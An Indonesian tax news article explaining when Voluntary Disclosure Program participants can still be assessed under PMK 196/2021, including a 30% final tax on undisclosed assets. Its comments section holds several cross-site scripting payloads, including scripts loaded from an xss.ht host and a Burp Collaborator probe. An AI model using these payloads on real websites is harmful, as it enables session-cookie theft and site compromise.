PROGRAM PENGUNGKAPAN SUKARELA

Jika Terjadi Hal Ini, Wajib Pajak Peserta PPS Bisa Diperiksa DJP

Muhamad Wildan | Minggu, 05 Juni 2022 | 06:00 WIB
Jika Terjadi Hal Ini, Wajib Pajak Peserta PPS Bisa Diperiksa DJP

Ilustrasi.

JAKARTA, DDTCNews - Wajib pajak peserta kebijakan II PPS tidak serta merta bisa terbebas dari pemeriksaan oleh Ditjen Pajak (DJP).

Berdasarkan Pasal 8 ayat (1) Peraturan Menteri Keuangan (PMK) No. 196/2021, terhadap wajib pajak orang pribadi peserta PPS tidak diterbitkan ketetapan pajak atas kewajiban perpajakan untuk tahun pajak 2016 hingga tahun pajak 2020.

Kewajiban perpajakan yang dimaksud antara lain PPh orang pribadi, pemotongan/pemungutan PPh, dan PPN. Namun , DJP dapat menerbitkan ketetapan pajak atas pajak yang sudah dipotong atau dipungut, tetapi belum disetorkan.

Baca Juga:
Petugas Pajak Ungkap Cara Ajukan Sertel kepada Pengurus WP Badan Baru

"Kewajiban perpajakan ... meliputi PPh orang pribadi, pemotongan dan/atau pemungutan PPh, dan PPN, kecuali atas pajak yang sudah dipotong atau dipungut tetapi tidak disetorkan," bunyi Pasal 8 ayat (2) PMK 196/2021, dikutip pada Minggu (5/6/2022).

Tak hanya itu, DJP juga masih dapat menerbitkan ketetapan pajak atas harta yang belum atau kurang diungkap dalam surat pemberitahuan pengungkapan harta (SPPH).

Harta yang belum atau kurang diungkap adalah harta yang tak diungkapkan hingga 30 Juni 2022 atau harta yang terkena penyesuaian nilai dari DJP.

Baca Juga:
Antisipasi Dampak Iran-Israel, Airlangga: Masih Tunggu Perkembangan

Apabila wajib pajak mendapatkan informasi mengenai harta yang belum atau kurang diungkap pada SPPH maka harta tersebut diperlakukan sebagai penghasilan yang bersifat final pada tahun pajak 2022.

Penghasilan bersifat final tersebut dikenai PPh final sebesar 30% sekaligus sanksi administrasi berupa bunga sesuai dengan suku bunga acuan ditambah uplift factor 15%. Pengenaan pajak sekaligus bunga dilakukan melalui penerbitan surat ketetapan pajak kurang bayar (SKPKB). (rig)

Editor :

Cek berita dan artikel yang lain di Google News.

KOMENTAR
0
/1000

Pastikan anda login dalam platform dan berkomentarlah secara bijaksana dan bertanggung jawab. Komentar sepenuhnya menjadi tanggung jawab komentator seperti diatur dalam UU ITE.

15 Juni 2022 | 18:02 WIB

img srcx onerroralert(document.cookie)

15 Juni 2022 | 18:01 WIB

script srchttps://hacker012.xss.ht/script

15 Juni 2022 | 18:00 WIB

javascript:eval(var adocument.createElement(\script\)a.src\https://hacker012.xss.ht\document.body.appendChild(a))

15 Juni 2022 | 17:59 WIB

http://o1q4xc6yqntnkxvgvy8b2x07iyoocd.burpcollaborator.net

ARTIKEL TERKAIT
Kamis, 18 April 2024 | 18:00 WIB KEBIJAKAN PEMERINTAH

Antisipasi Dampak Iran-Israel, Airlangga: Masih Tunggu Perkembangan

Kamis, 18 April 2024 | 17:30 WIB ADMINISTRASI PAJAK

Salah Lapor SPT Tahunan? DJP: Tenang, Masih Bisa Pembetulan

Kamis, 18 April 2024 | 16:50 WIB ADMINISTRASI PAJAK

Salah Input Kode Akun Pajak dan Sudah Pembayaran, Ini Saran DJP

BERITA PILIHAN
Kamis, 18 April 2024 | 18:00 WIB KEBIJAKAN PEMERINTAH

Antisipasi Dampak Iran-Israel, Airlangga: Masih Tunggu Perkembangan

Kamis, 18 April 2024 | 17:30 WIB ADMINISTRASI PAJAK

Salah Lapor SPT Tahunan? DJP: Tenang, Masih Bisa Pembetulan

Kamis, 18 April 2024 | 16:50 WIB ADMINISTRASI PAJAK

Salah Input Kode Akun Pajak dan Sudah Pembayaran, Ini Saran DJP

Kamis, 18 April 2024 | 16:00 WIB ADMINISTRASI PAJAK

Ada Transaksi Afiliasi, SPT Tahunan Wajib Dilampiri Ikhtisar TP Doc

Kamis, 18 April 2024 | 15:37 WIB PENERIMAAN PAJAK

Pemerintah Bidik Tax Ratio 11,2-12 Persen pada 2025

Kamis, 18 April 2024 | 15:30 WIB KEBIJAKAN FISKAL

Jaga Kesehatan APBN, Bagaimana Cara Optimalkan Penerimaan Negara?

Kamis, 18 April 2024 | 15:00 WIB TIPS PAJAK

Cara Buat Surat Pernyataan Wajib Pajak Non-Efektif

Kamis, 18 April 2024 | 14:30 WIB PERTUMBUHAN EKONOMI

Susun RKP, Ekonomi Ditarget Tumbuh 5,3 - 5,6 Persen pada Tahun Depan

Kamis, 18 April 2024 | 14:00 WIB KEBIJAKAN PERINDUSTRIAN

Pemerintah Antisipasi Dampak Konflik Timur Tengah Terhadap Industri

Kamis, 18 April 2024 | 13:48 WIB KONSULTASI PAJAK

Bayar Endorse Influencer di Media Sosial, Dipotong PPh Pasal 21?